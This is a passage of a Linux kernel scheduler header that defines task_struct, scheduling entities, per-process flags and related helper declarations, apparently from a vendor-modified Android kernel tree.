slice_max; u64 nr_migrations_cold; u64 nr_failed_migrations_affine; u64 nr_failed_migrations_running; u64 nr_failed_migrations_hot; u64 nr_forced_migrations; u64 nr_wakeups; u64 nr_wakeups_sync; u64 nr_wakeups_migrate; u64 nr_wakeups_local; u64 nr_wakeups_remote; u64 nr_wakeups_affine; u64 nr_wakeups_affine_attempts; u64 nr_wakeups_passive; u64 nr_wakeups_idle; }; #endif #define RAVG_HIST_SIZE_MAX 5 /* ravg represents frequency scaled cpu-demand of tasks */ struct ravg { /* * 'mark_start' marks the beginning of an event (task waking up, task * starting to execute, task being preempted) within a window * * 'sum' represents how runnable a task has been within current * window. It incorporates both running time and wait time and is * frequency scaled. * * 'sum_history' keeps track of history of 'sum' seen over previous * RAVG_HIST_SIZE windows. Windows where task was entirely sleeping are * ignored. * * 'demand' represents maximum sum seen over previous * sysctl_sched_ravg_hist_size windows. 'demand' could drive frequency * demand for tasks. * * 'curr_window' represents task's contribution to cpu busy time * statistics (rq->curr_runnable_sum) in current window * * 'prev_window' represents task's contribution to cpu busy time * statistics (rq->prev_runnable_sum) in previous window */ u64 mark_start; u32 sum, demand; u32 sum_history[RAVG_HIST_SIZE_MAX]; #ifdef VENDOR_EDIT unsigned mitigated:1; #endif #ifdef CONFIG_SCHED_FREQ_INPUT u32 curr_window, prev_window; #endif }; struct sched_entity { struct load_weight load; /* for load-balancing */ struct rb_node run_node; struct list_head group_node; unsigned int on_rq; u64 exec_start; u64 sum_exec_runtime; u64 vruntime; u64 prev_sum_exec_runtime; u64 nr_migrations; #ifdef CONFIG_SCHEDSTATS struct sched_statistics statistics; #endif #ifdef CONFIG_FAIR_GROUP_SCHED struct sched_entity *parent; /* rq on which this entity is (to be) queued: */ struct cfs_rq *cfs_rq; /* rq "owned" by this entity/group: */ struct cfs_rq *my_q; #endif /* * Load-tracking only depends on SMP, FAIR_GROUP_SCHED dependency below may be * removed when useful for applications beyond shares distribution (e.g. * load-balance). */ #if defined(CONFIG_SMP) && defined(CONFIG_FAIR_GROUP_SCHED) /* Per-entity load-tracking */ struct sched_avg avg; #endif }; struct sched_rt_entity { struct list_head run_list; unsigned long timeout; unsigned long watchdog_stamp; unsigned int time_slice; struct sched_rt_entity *back; #ifdef CONFIG_RT_GROUP_SCHED struct sched_rt_entity *parent; /* rq on which this entity is (to be) queued: */ struct rt_rq *rt_rq; /* rq "owned" by this entity/group: */ struct rt_rq *my_q; #endif }; struct rcu_node; enum perf_event_task_context { perf_invalid_context = -1, perf_hw_context = 0, perf_sw_context, perf_nr_task_contexts, }; struct task_struct { volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ void *stack; atomic_t usage; unsigned int flags; /* per process flags, defined below */ unsigned int ptrace; unsigned int yield_count; #ifdef CONFIG_SMP struct llist_node wake_entry; int on_cpu; #endif int on_rq; int prio, static_prio, normal_prio; unsigned int rt_priority; const struct sched_class *sched_class; struct sched_entity se; struct sched_rt_entity rt; #ifdef CONFIG_SCHED_HMP struct ravg ravg; /* * 'init_load_pct' represents the initial task load assigned to children * of this task */ u32 init_load_pct; u64 run_start; #endif #ifdef CONFIG_CGROUP_SCHED struct task_group *sched_task_group; #endif #ifdef CONFIG_PREEMPT_NOTIFIERS /* list of struct preempt_notifier: */ struct hlist_head preempt_notifiers; #endif /* * fpu_counter contains the number of consecutive context switches * that the FPU is used. If this is over a threshold, the lazy fpu * saving becomes unlazy to save the trap. This is an unsigned char * so that after 256 times the counter wraps and the behavior turns * lazy again; this to deal with bursty apps that only use FPU for * a short time */ unsigned char fpu_counter; #ifdef CONFIG_BLK_DEV_IO_TRACE unsigned int btrace_seq; #endif unsigned int policy; int nr_cpus_allowed; cpumask_t cpus_allowed; #ifdef CONFIG_PREEMPT_RCU int rcu_read_lock_nesting; char rcu_read_unlock_special; struct list_head rcu_node_entry; #endif /* #ifdef CONFIG_PREEMPT_RCU */ #ifdef CONFIG_TREE_PREEMPT_RCU struct rcu_node *rcu_blocked_node; #endif /* #ifdef CONFIG_TREE_PREEMPT_RCU */ #ifdef CONFIG_RCU_BOOST struct rt_mutex *rcu_boost_mutex; #endif /* #ifdef CONFIG_RCU_BOOST */ #if defined(CONFIG_SCHEDSTATS) || defined(CONFIG_TASK_DELAY_ACCT) struct sched_info sched_info; #endif struct list_head tasks; #ifdef CONFIG_SMP struct plist_node pushable_tasks; #endif struct mm_struct *mm, *active_mm; #ifdef CONFIG_COMPAT_BRK unsigned brk_randomized:1; #endif #if defined(SPLIT_RSS_COUNTING) struct task_rss_stat rss_stat; #endif /* task state */ int exit_state; int exit_code, exit_signal; int pdeath_signal; /* The signal sent when the parent dies */ unsigned int jobctl; /* JOBCTL_*, siglock protected */ /* Used for emulating ABI behavior of previous Linux versions */ unsigned int personality; unsigned did_exec:1; unsigned in_execve:1; /* Tell the LSMs that the process is doing an * execve */ unsigned in_iowait:1; /* Revert to default priority/policy when forking */ unsigned sched_reset_on_fork:1; unsigned sched_contributes_to_load:1; unsigned long atomic_flags; /* Flags needing atomic access. */ pid_t pid; pid_t tgid; #ifdef CONFIG_CC_STACKPROTECTOR /* Canary value for the -fstack-protector gcc feature */ unsigned long stack_canary; #endif /* * pointers to (original) parent process, youngest child, younger sibling, * older sibling, respectively. (p->father can be replaced with * p->real_parent->pid) */ struct task_struct __rcu *real_parent; /* real parent process */ struct task_struct __rcu *parent; /* recipient of SIGCHLD, wait4() reports */ /* * children/sibling forms the list of my natural children */ struct list_head children; /* list of my children */ struct list_head sibling; /* linkage in my parent's children list */ struct task_struct *group_leader; /* threadgroup leader */ /* * ptraced is the list of tasks this task is using ptrace on. * This includes both natural children and PTRACE_ATTACH targets. * p->ptrace_entry is p's link on the p->parent->ptraced list. */ struct list_head ptraced; struct list_head ptrace_entry; /* PID/PID hash table linkage. */ struct pid_link pids[PIDTYPE_MAX]; struct list_head thread_group; struct list_head thread_node; struct completion *vfork_done; /* for vfork() */ int __user *set_child_tid; /* CLONE_CHILD_SETTID */ int __user *clear_child_tid; /* CLONE_CHILD_CLEARTID */ cputime_t utime, stime, utimescaled, stimescaled; cputime_t gtime; unsigned long long cpu_power; #ifndef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE struct cputime prev_cputime; #endif #ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN seqlock_t vtime_seqlock; unsigned long long vtime_snap; enum { VTIME_SLEEPING = 0, VTIME_USER, VTIME_SYS, } vtime_snap_whence; #endif unsigned long nvcsw, nivcsw; /* context switch counts */ struct timespec start_time; /* monotonic time */ struct timespec real_start_time; /* boot based time */ /* mm fault and swap info: this can arguably be seen as either mm-specific or thread-specific */ unsigned long min_flt, maj_flt; struct task_cputime cputime_expires; struct list_head cpu_timers[3]; /* process credentials */ const struct cred __rcu *real_cred; /* objective and real subjective task * credentials (COW) */ const struct cred __rcu *cred; /* effective (overridable) subjective task * credentials (COW) */ char comm[TASK_COMM_LEN]; /* executable name excluding path - access with [gs]et_task_comm (which lock it with task_lock()) - initialized normally by setup_new_exec */ /* file system info */ int link_count, total_link_count; #ifdef CONFIG_SYSVIPC /* ipc stuff */ struct sysv_sem sysvsem; #endif #ifdef CONFIG_DETECT_HUNG_TASK /* hung task detection */ unsigned long last_switch_count; #endif /* CPU-specific state of this task */ struct thread_struct thread; /* filesystem information */ struct fs_struct *fs; /* open file information */ struct files_struct *files; /* namespaces */ struct nsproxy *nsproxy; /* signal handlers */ struct signal_struct *signal; struct sighand_struct *sighand; sigset_t blocked, real_blocked; sigset_t saved_sigmask; /* restored if set_restore_sigmask() was used */ struct sigpending pending; unsigned long sas_ss_sp; size_t sas_ss_size; int (*notifier)(void *priv); void *notifier_data; sigset_t *notifier_mask; struct callback_head *task_works; struct audit_context *audit_context; #ifdef CONFIG_AUDITSYSCALL kuid_t loginuid; unsigned int sessionid; #endif struct seccomp seccomp; /* Thread group tracking */ u32 parent_exec_id; u32 self_exec_id; /* Protection of (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, * mempolicy */ spinlock_t alloc_lock; /* Protection of the PI data structures: */ raw_spinlock_t pi_lock; #ifdef CONFIG_RT_MUTEXES /* PI waiters blocked on a rt_mutex held by this task */ struct plist_head pi_waiters; /* Deadlock detection and priority inheritance handling */ struct rt_mutex_waiter *pi_blocked_on; #endif #ifdef CONFIG_DEBUG_MUTEXES /* mutex deadlock detection */ struct mutex_waiter *blocked_on; #endif #ifdef CONFIG_TRACE_IRQFLAGS unsigned int irq_events; unsigned long hardirq_enable_ip; unsigned long hardirq_disable_ip; unsigned int hardirq_enable_event; unsigned int hardirq_disable_event; int hardirqs_enabled; int hardirq_context; unsigned long softirq_disable_ip; unsigned long softirq_enable_ip; unsigned int softirq_disable_event; unsigned int softirq_enable_event; int softirqs_enabled; int softirq_context; #endif #ifdef CONFIG_LOCKDEP # define MAX_LOCK_DEPTH 48UL u64 curr_chain_key; int lockdep_depth; unsigned int lockdep_recursion; struct held_lock held_locks[MAX_LOCK_DEPTH]; gfp_t lockdep_reclaim_gfp; #endif /* journalling filesystem info */ void *journal_info; /* stacked block device info */ struct bio_list *bio_list; #ifdef CONFIG_BLOCK /* stack plugging */ struct blk_plug *plug; #endif /* VM state */ struct reclaim_state *reclaim_state; struct backing_dev_info *backing_dev_info; struct io_context *io_context; unsigned long ptrace_message; siginfo_t *last_siginfo; /* For ptrace use. */ struct task_io_accounting ioac; #if defined(CONFIG_TASK_XACCT) u64 acct_rss_mem1; /* accumulated rss usage */ u64 acct_vm_mem1; /* accumulated virtual memory usage */ cputime_t acct_timexpd; /* stime + utime since last update */ #endif #ifdef CONFIG_CPUSETS nodemask_t mems_allowed; /* Protected by alloc_lock */ seqcount_t mems_allowed_seq; /* Seqence no to catch updates */ int cpuset_mem_spread_rotor; int cpuset_slab_spread_rotor; #endif #ifdef CONFIG_CGROUPS /* Control Group info protected by css_set_lock */ struct css_set __rcu *cgroups; /* cg_list protected by css_set_lock and tsk->alloc_lock */ struct list_head cg_list; #endif #ifdef CONFIG_FUTEX struct robust_list_head __user *robust_list; #ifdef CONFIG_COMPAT struct compat_robust_list_head __user *compat_robust_list; #endif struct list_head pi_state_list; struct futex_pi_state *pi_state_cache; #endif #ifdef CONFIG_PERF_EVENTS struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts]; struct mutex perf_event_mutex; struct list_head perf_event_list; #endif #ifdef CONFIG_NUMA struct mempolicy *mempolicy; /* Protected by alloc_lock */ short il_next; short pref_node_fork; #endif #ifdef CONFIG_NUMA_BALANCING int numa_scan_seq; int numa_migrate_seq; unsigned int numa_scan_period; u64 node_stamp; /* migration stamp */ struct callback_head numa_work; #endif /* CONFIG_NUMA_BALANCING */ struct rcu_head rcu; /* * cache last used pipe for splice */ struct pipe_inode_info *splice_pipe; struct page_frag task_frag; #ifdef CONFIG_TASK_DELAY_ACCT struct task_delay_info *delays; #endif #ifdef CONFIG_FAULT_INJECTION int make_it_fail; #endif /* * when (nr_dirtied >= nr_dirtied_pause), it's time to call * balance_dirty_pages() for some dirty throttling pause */ int nr_dirtied; int nr_dirtied_pause; unsigned long dirty_paused_when; /* start of a write-and-pause period */ #ifdef CONFIG_LATENCYTOP int latency_record_count; struct latency_record latency_record[LT_SAVECOUNT]; #endif /* * time slack values; these are used to round up poll() and * select() etc timeout values. These are in nanoseconds. */ unsigned long timer_slack_ns; unsigned long default_timer_slack_ns; #ifdef CONFIG_FUNCTION_GRAPH_TRACER /* Index of current stored address in ret_stack */ int curr_ret_stack; /* Stack of return addresses for return function tracing */ struct ftrace_ret_stack *ret_stack; /* time stamp for last schedule */ unsigned long long ftrace_timestamp; /* * Number of functions that haven't been traced * because of depth overrun. */ atomic_t trace_overrun; /* Pause for the tracing */ atomic_t tracing_graph_pause; #endif #ifdef CONFIG_TRACING /* state flags for use by tracers */ unsigned long trace; /* bitmask and counter of trace recursion */ unsigned long trace_recursion; #endif /* CONFIG_TRACING */ #ifdef CONFIG_MEMCG /* memcg uses this to do batch job */ struct memcg_batch_info { int do_batch; /* incremented when batch uncharge started */ struct mem_cgroup *memcg; /* target memcg of uncharge */ unsigned long nr_pages; /* uncharged usage */ unsigned long memsw_nr_pages; /* uncharged mem+swap usage */ } memcg_batch; unsigned int memcg_kmem_skip_account; struct memcg_oom_info { struct mem_cgroup *memcg; gfp_t gfp_mask; int order; unsigned int may_oom:1; } memcg_oom; #endif #ifdef CONFIG_HAVE_HW_BREAKPOINT atomic_t ptrace_bp_refcnt; #endif #ifdef CONFIG_UPROBES struct uprobe_task *utask; #endif #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE) unsigned int sequential_io; unsigned int sequential_io_avg; #endif }; /* Future-safe accessor for struct task_struct's cpus_allowed. */ #define tsk_cpus_allowed(tsk) (&(tsk)->cpus_allowed) #ifdef CONFIG_NUMA_BALANCING extern void task_numa_fault(int node, int pages, bool migrated); extern void set_numabalancing_state(bool enabled); #else static inline void task_numa_fault(int node, int pages, bool migrated) { } static inline void set_numabalancing_state(bool enabled) { } #endif static inline struct pid *task_pid(struct task_struct *task) { return task->pids[PIDTYPE_PID].pid; } static inline struct pid *task_tgid(struct task_struct *task) { return task->group_leader->pids[PIDTYPE_PID].pid; } /* * Without tasklist or rcu lock it is not safe to dereference * the result of task_pgrp/task_session even if task == current, * we can race with another thread doing sys_setsid/sys_setpgid. */ static inline struct pid *task_pgrp(struct task_struct *task) { return task->group_leader->pids[PIDTYPE_PGID].pid; } static inline struct pid *task_session(struct task_struct *task) { return task->group_leader->pids[PIDTYPE_SID].pid; } struct pid_namespace; /* * the helpers to get the task's different pids as they are seen * from various namespaces * * task_xid_nr() : global id, i.e. the id seen from the init namespace; * task_xid_vnr() : virtual id, i.e. the id seen from the pid namespace of * current. * task_xid_nr_ns() : id seen from the ns specified; * * set_task_vxid() : assigns a virtual id to a task; * * see also pid_nr() etc in include/linux/pid.h */ pid_t __task_pid_nr_ns(struct task_struct *task, enum pid_type type, struct pid_namespace *ns); static inline pid_t task_pid_nr(struct task_struct *tsk) { return tsk->pid; } static inline pid_t task_pid_nr_ns(struct task_struct *tsk, struct pid_namespace *ns) { return __task_pid_nr_ns(tsk, PIDTYPE_PID, ns); } static inline pid_t task_pid_vnr(struct task_struct *tsk) { return __task_pid_nr_ns(tsk, PIDTYPE_PID, NULL); } static inline pid_t task_tgid_nr(struct task_struct *tsk) { return tsk->tgid; } pid_t task_tgid_nr_ns(struct task_struct *tsk, struct pid_namespace *ns); static inline pid_t task_tgid_vnr(struct task_struct *tsk) { return pid_vnr(task_tgid(tsk)); } static inline pid_t task_pgrp_nr_ns(struct task_struct *tsk, struct pid_namespace *ns) { return __task_pid_nr_ns(tsk, PIDTYPE_PGID, ns); } static inline pid_t task_pgrp_vnr(struct task_struct *tsk) { return __task_pid_nr_ns(tsk, PIDTYPE_PGID, NULL); } static inline pid_t task_session_nr_ns(struct task_struct *tsk, struct pid_namespace *ns) { return __task_pid_nr_ns(tsk, PIDTYPE_SID, ns); } static inline pid_t task_session_vnr(struct task_struct *tsk) { return __task_pid_nr_ns(tsk, PIDTYPE_SID, NULL); } /* obsolete, do not use */ static inline pid_t task_pgrp_nr(struct task_struct *tsk) { return task_pgrp_nr_ns(tsk, &init_pid_ns); } /** * pid_alive - check that a task structure is not stale * @p: Task structure to be checked. * * Test if a process is not yet dead (at most zombie state) * If pid_alive fails, then pointers within the task structure * can be stale and must not be dereferenced. */ static inline int pid_alive(struct task_struct *p) { return p->pids[PIDTYPE_PID].pid != NULL; } /** * is_global_init - check if a task structure is init * @tsk: Task structure to be checked. * * Check if a task structure is the first user space task the kernel created. */ static inline int is_global_init(struct task_struct *tsk) { return tsk->pid == 1; } extern struct pid *cad_pid; extern void free_task(struct task_struct *tsk); #define get_task_struct(tsk) do { atomic_inc(&(tsk)->usage); } while(0) extern void __put_task_struct(struct task_struct *t); static inline void put_task_struct(struct task_struct *t) { if (atomic_dec_and_test(&t->usage)) __put_task_struct(t); } #ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN extern void task_cputime(struct task_struct *t, cputime_t *utime, cputime_t *stime); extern void task_cputime_scaled(struct task_struct *t, cputime_t *utimescaled, cputime_t *stimescaled); extern cputime_t task_gtime(struct task_struct *t); #else static inline void task_cputime(struct task_struct *t, cputime_t *utime, cputime_t *stime) { if (utime) *utime = t->utime; if (stime) *stime = t->stime; } static inline void task_cputime_scaled(struct task_struct *t, cputime_t *utimescaled, cputime_t *stimescaled) { if (utimescaled) *utimescaled = t->utimescaled; if (stimescaled) *stimescaled = t->stimescaled; } static inline cputime_t task_gtime(struct task_struct *t) { return t->gtime; } #endif extern void task_cputime_adjusted(struct task_struct *p, cputime_t *ut, cputime_t *st); extern void thread_group_cputime_adjusted(struct task_struct *p, cputime_t *ut, cputime_t *st); extern int task_free_register(struct notifier_block *n); extern int task_free_unregister(struct notifier_block *n); #ifdef CONFIG_SCHED_FREQ_INPUT extern int sched_set_window(u64 window_start, unsigned int window_size); extern unsigned long sched_get_busy(int cpu); extern void sched_get_cpus_busy(unsigned long *busy, const struct cpumask *query_cpus); extern void sched_set_io_is_busy(int val); #else static inline int sched_set_window(u64 window_start, unsigned int window_size) { return -EINVAL; } static inline unsigned long sched_get_busy(int cpu) { return 0; } static inline void sched_get_cpus_busy(unsigned long *busy, const struct cpumask *query_cpus) {}; static inline void sched_set_io_is_busy(int val) {}; #endif /* * Per process flags */ #define PF_EXITING 0x00000004 /* getting shut down */ #define PF_EXITPIDONE 0x00000008 /* pi exit done on shut down */ #define PF_VCPU 0x00000010 /* I'm a virtual CPU */ #define PF_WQ_WORKER 0x00000020 /* I'm a workqueue worker */ #define PF_FORKNOEXEC 0x00000040 /* forked but didn't exec */ #define PF_MCE_PROCESS 0x00000080 /* process policy on mce errors */ #define PF_SUPERPRIV 0x00000100 /* used super-user privileges */ #define PF_DUMPCORE 0x00000200 /* dumped core */ #define PF_SIGNALED 0x00000400 /* killed by a signal */ #define PF_MEMALLOC 0x00000800 /* Allocating memory */ #define PF_NPROC_EXCEEDED 0x00001000 /* set_user noticed that RLIMIT_NPROC was exceeded */ #define PF_USED_MATH 0x00002000 /* if unset the fpu must be initialized before use */ #define PF_USED_ASYNC 0x00004000 /* used async_schedule*(), used by module init */ #define PF_NOFREEZE 0x00008000 /* this thread should not be frozen */ #define PF_FROZEN 0x00010000 /* frozen for system suspend */ #define PF_FSTRANS 0x00020000 /* inside a filesystem transaction */ #define PF_KSWAPD 0x00040000 /* I am kswapd */ #define PF_MEMALLOC_NOIO 0x00080000 /* Allocating memory without IO involved */ #define PF_LESS_THROTTLE 0x00100000 /* Throttle me less: I clean memory */ #define PF_KTHREAD 0x00200000 /* I am a kernel thread */ #define PF_RANDOMIZE 0x00400000 /* randomize virtual address space */ #define PF_SWAPWRITE 0x00800000 /* Allowed to write to swap */ #define PF_SPREAD_PAGE 0x01000000 /* Spread page cache over cpuset */ #define PF_SPREAD_SLAB 0x02000000 /* Spread some slab caches over cpuset */ #define PF_NO_SETAFFINITY 0x04000000 /* Userland is not allowed to meddle with cpus_allowed */ #define PF_MCE_EARLY 0x08000000 /* Early kill for mce process policy */ #define PF_MEMPOLICY 0x10000000 /* Non-default NUMA mempolicy */ #define PF_MUTEX_TESTER 0x20000000 /* Thread belongs to the rt mutex tester */ #define PF_FREEZER_SKIP 0x40000000 /* Freezer should not count it as freezable */ #define PF_WAKE_UP_IDLE 0x80000000 /* try to wake up on an idle CPU */ /* * Only the _current_ task can read/write to tsk->flags, but other * tasks can access tsk->flags in readonly mode for example * with tsk_used_math (like during threaded core dumping). * There is however an exception to this rule during ptrace * or during fork: the ptracer task is allowed to write to the * child->flags of its traced child (same goes for fork, the parent * can write to the child->flags), because we're guaranteed the * child is not running and in turn not changing child->flags * at the same time the parent does it. */ #define clear_stopped_child_used_math(child) do { (child)->flags &= ~PF_USED_MATH; } while (0) #define set_stopped_child_used_math(child) do { (child)->flags |= PF_USED_MATH; } while (0) #define clear_used_math() clear_stopped_child_used_math(current) #define set_used_math() set_stopped_child_used_math(current) #define conditional_stopped_child_used_math(condition, child) \ do { (child)->flags &= ~PF_USED_MATH, (child)->flags |= (condition) ? PF_USED_MATH : 0; } while (0) #define conditional_used_math(condition) \ conditional_stopped_child_used_math(condition, current) #define copy_to_stopped_child_used_math(child) \ do { (child)->flags &= ~PF_USED_MATH, (child)->flags |= current->flags & PF_USED_MATH; } while (0) /* NOTE: this will return 0 or PF_USED_MATH, it will never return 1 */ #define tsk_used_math(p) ((p)->flags & PF_USED_MATH) #define used_math() tsk_used_math(current) /* __GFP_IO isn't allowed if PF_MEMALLOC_NOIO is set in current->flags * __GFP_FS is also cleared as it implies __GFP_IO. */ static inline gfp_t memalloc_noio_flags(gfp_t flags) { if (unlikely(current->flags & PF_MEMALLOC_NOIO)) flags &= ~(__GFP_IO | __GFP_FS); return flags; } static inline unsigned int memalloc_noio_save(void) { unsigned int flags = current->flags & PF_MEMALLOC_NOIO; current->flags |= PF_MEMALLOC_NOIO; return flags; } static inline void memalloc_noio_restore(unsigned int flags) { current->flags = (current->flags & ~PF_MEMALLOC_NOIO) | flags; } /* Per-process atomic flags. */ #define PFA_NO_NEW_PRIVS 0x00000001 /* May not gain new privileges. */ static inline bool task_no_new_privs(struct task_struct *p) { return test_bit(PFA_NO_NEW_PRIVS, &p->atomic_flags); } static inline void task_set_no_new_privs(struct task_struct *p) { set_bit(PFA_NO_NEW_PRIVS, &p->atomic_flags); } /* * task->jobctl flags */ #define JOBCTL_STOP_SIGMASK 0xffff /* signr of the last group stop */ #define JOBCTL_STOP_DEQUEUED_BIT 16 /* stop signal dequeued */ #define JOBCTL_STOP_PENDING_BIT 17 /* task should stop for group stop */ #define JOBCTL_STOP_CONSUME_BIT 18 /* consume group stop count */ #define JOBCTL_TRAP_STOP_BIT 19 /* trap for STOP */ #define JOBCTL_TRAP_NOTIFY_BIT 20 /* trap for NOTIFY */ #define JOBCTL_TRAPPING_BIT 21 /* switching to TRACED */ #define JOBCTL_LISTENING_BIT 22 /* ptracer is listening for events */ #define JOBCTL_STOP_DEQUEUED (1 << JOBCTL_STOP_DEQUEUED_BIT) #define JOBCTL_STOP_PENDING (1 << JOBCTL_STOP_PENDING_BIT) #define JOBCTL_STOP_CONSUME (1 << JOBCTL_STOP_CONSUME_BIT) #define JOBCTL_TRAP_STOP (1 << JOBCTL_TRAP_STOP_BIT) #define JOBCTL_TRAP_NOTIFY (1 << JOBCTL_TRAP_NOTIFY_BIT) #define JOBCTL_TRAPPING (1 << JOBCTL_TRAPPING_BIT) #define JOBCTL_LISTENING (1 << JOBCTL_LISTENING_BIT) #define JOBCTL_TRAP_MASK (JOBCTL_TRAP_STOP | JOBCTL_TRAP_NOTIFY) #define JOBCTL_PENDING_MASK (JOBCTL_STOP_PENDING | JOBCTL_TRAP_MASK) extern bool task_set_jobctl_pending(struct task_struct *task, unsigned int mask); extern void task_clear_jobctl_trapping(struct task_struct *task); extern void task_clear_jobctl_pending(struct task_struct *task, unsigned int mask); #ifdef CONFIG_PREEMPT_RCU #define RCU_READ_UNLOCK_BLOCKED (1 << 0) /* blocked while in RCU read-side. */ #define RCU_READ_UNLOCK_NEED_QS (1 << 1) /* RCU core needs CPU response. */ static inline void rcu_copy_process(struct task_struct *p) { p->rcu_read_lock_nesting = 0; p->rcu_read_unlock_special = 0; #ifdef CONFIG_TREE_PREEMPT_RCU p->rcu_blocked_node = NULL; #endif /* #ifdef CONFIG_TREE_PREEMPT_RCU */ #ifdef CONFIG_RCU_BOOST p->rcu_boost_mutex = NULL; #endif /* #ifdef CONFIG_RCU_BOOST */ INIT_LIST_HEAD(&p->rcu_node_entry); } #else static inline void rcu_copy_process(struct task_struct *p) { } #endif static inline void tsk_restore_flags(struct task_struct *task, unsigned long orig_flags, unsigned long flags) { task->flags &= ~flags; task->flags |= orig_flags & flags; } #ifdef CONFIG_SMP extern void do_set_cpus_allowed(struct task_struct *p, const struct cpumask *new_mask); extern int set_cpus_allowed_ptr(struct task_struct *p, const struct cpumask *new_mask); extern void sched_set_cpu_cstate(int cpu, int cstate, int wakeup_energy, int wakeup_latency); #else static inline void do_set_cpus_allowed(struct task_struct *p, const struct cpumask *new_mask) { } static inline int set_cpus_allowed_ptr(struct task_struct *p, const struct cpumask *new_mask) { if (!cpumask_test_cpu(0, new_mask)) return -EINVAL; return 0; } static inline void sched_set_cpu_cstate(int cpu, int cstate, int wakeup_energy, int wakeup_latency) { } #endif extern int sched_set_wake_up_idle(struct task_struct *p, int wake_up_idle); extern u32 sched_get_wake_up_idle(struct task_struct *p); #ifdef CONFIG_SCHED_HMP extern int sched_set_boost(int enable); extern int sched_set_init_task_load(struct task_struct *p, int init_load_pct); extern u32 sched_get_init_task_load(struct task_struct *p); extern int sched_set_cpu_prefer_idle(int cpu, int prefer_idle); extern int sched_get_cpu_prefer_idle(int cpu); extern int sched_set_cpu_mostly_idle_load(int cpu, int mostly_idle_pct); extern int sched_get_cpu_mostly_idle_load(int cpu); extern int sched_set_cpu_mostly_idle_nr_run(int cpu, int nr_run); extern int sched_get_cpu_mostly_idle_nr_run(int cpu); extern int sched_set_cpu_mostly_idle_freq(int cpu, unsigned int mostly_idle_freq); extern unsigned int sched_get_cpu_mostly_idle_freq(int cpu); #else static inline int sched_set_boost(int enable) { return -EINVAL; } #endif #ifdef CONFIG_NO_HZ_COMMON void calc_load_enter_idle(void); void calc_load_exit_idle(void); #else static inline void calc_load_enter_idle(void) { } static inline void calc_load_exit_idle(void) { } #endif /* CONFIG_NO_HZ_COMMON */ static inline void set_wake_up_idle(bool enabled) { if (enabled) current->flags |= PF_WAKE_UP_IDLE; else current->flags &= ~PF_WAKE_UP_IDLE; } #ifndef CONFIG_CPUMASK_OFFSTACK static inline int set_cpus_allowed(struct task_struct *p, cpumask_t new_mask) { return set_cpus_allowed_ptr(p, &new_mask); } #endif /* * Do not use outside of architecture code which knows its limitations. * * sched_clock() has no promise of monotonicity or bounded drift between * CPUs, use (which you should not) requires disabling IRQs. * * Please use one of the three interfaces below. */ extern unsigned long long notrace sched_clock(void); /* * See the comment in kernel/sched/clock.c */ extern u64 cpu_clock(int cpu); extern u64 local_clock(void); extern u64 sched_clock_cpu(int cpu); extern void sched_clock_init(void); extern int sched_clock_initialized(void); #ifndef CONFIG_HAVE_UNSTABLE_SCHED_CLOCK static inline void sched_clock_tick(void) { } static inline void sched_clock_idle_sleep_event(void) { } static inline void sched_clock_idle_wakeup_event(u64 delta_ns) { } #else /* * Architectures can set this to 1 if they have specified * CONFIG_HAVE_UNSTABLE_SCHED_CLOCK in their arch Kconfig, * but then during bootup it turns out that sched_clock() * is reliable after all: */ extern int sched_clock_stable; extern void sched_clock_tick(void); extern void sched_clock_idle_sleep_event(void); extern void sched_clock_idle_wakeup_event(u64 delta_ns); #endif #ifdef CONFIG_IRQ_TIME_ACCOUNTING /* * An i/f to runtime opt-in for irq time accounting based off of sched_clock. * The reason for this explicit opt-in is not to have perf penalty with * slow sched_clocks. */ extern void enable_sched_clock_irqtime(void); extern void disable_sched_clock_irqtime(void); #else static inline void enable_sched_clock_irqtime(void) {} static inline void disable_sched_clock_irqtime(void) {} #endif extern unsigned long long task_sched_runtime(struct task_struct *task); /* sched_exec is called by processes performing an exec */ #if defined(CONFIG_SMP) extern void sched_exec(void); #else #define sched_exec() {} #endif extern void sched_clock_idle_sleep_event(void); extern void sched_clock_idle_wakeup_event(u64 delta_ns); #ifdef CONFIG_HOTPLUG_CPU extern void idle_task_exit(void); #else static inline void idle_task_exit(void) {} #endif #if defined(CONFIG_NO_HZ_COMMON) && defined(CONFIG_SMP) extern void wake_up_nohz_cpu(int cpu); #else static inline void wake_up_nohz_cpu(int cpu) { } #endif #ifdef CONFIG_NO_HZ_FULL extern bool sched_can_stop_tick(void); extern u64 scheduler_tick_max_deferment(void); #else static inline bool sched_can_stop_tick(void) { return false; } #endif #ifdef CONFIG_SCHED_AUTOGROUP extern void sched_autogroup_create_attach(struct task_struct *p); extern void sched_autogroup_detach(struct task_struct *p); extern void sched_autogroup_fork(struct signal_struct *sig); extern void sched_autogroup_exit(struct signal_struct *sig); #ifdef CONFIG_PROC_FS extern void proc_sched_autogroup_show_task(struct task_struct *p, struct seq_file *m); extern int proc_sched_autogroup_set_nice(struct task_struct *p, int nice); #endif #else static inline void sched_autogroup_create_attach(struct task_struct *p) { } static inline void sched_autogroup_detach(struct task_struct *p) { } static inline void sched_autogroup_fork(struct signal_struct *sig) { } static inline void sched_autogroup_exit(struct signal_struct *sig) { } #endif extern bool yield_to(struct task_struct *p, bool preempt); extern void set_user_nice(struct task_struct *p, long nice); extern int task_prio(const struct task_struct *p); extern int task_nice(const struct task_struct *p); extern int can_nice(const struct task_struct *p, const int nice); extern int task_curr(const struct task_struct *p); extern int idle_cpu(int cpu); extern int sched_setscheduler(struct task_struct *, int, const struct sched_param *); extern int sched_setscheduler_nocheck(struct task_struct *, int, const struct sched_param *); extern int sched_setattr(struct task_struct *, const struct sched_attr *); extern struct task_struct *idle_task(int cpu); /** * is_idle_task - is the specified task an idle task? * @p: the task in question. */ static inline bool is_idle_task(const struct task_struct *p) { return p->pid == 0; } extern struct task_struct *curr_task(int cpu); extern void set_curr_task(int cpu, struct task_struct *p); void yield(void); /* * The default (Linux) execution domain. */ extern struct exec_domain default_exec_domain; union thread_union { struct thread_info thread_info; unsigned long stack[THREAD_SIZE/sizeof(long)]; }; #ifndef __HAVE_ARCH_KSTACK_END static inline int kstack_end(void *addr) { /* Reliable end of stack detection: * Some APM bios versions misalign the stack */ return !(((unsigned long)addr+sizeof(void*)-1) & (THREAD_SIZE-sizeof(void*))); } #endif extern union thread_union init_thread_union; extern struct task_struct init_task; extern struct mm_struct 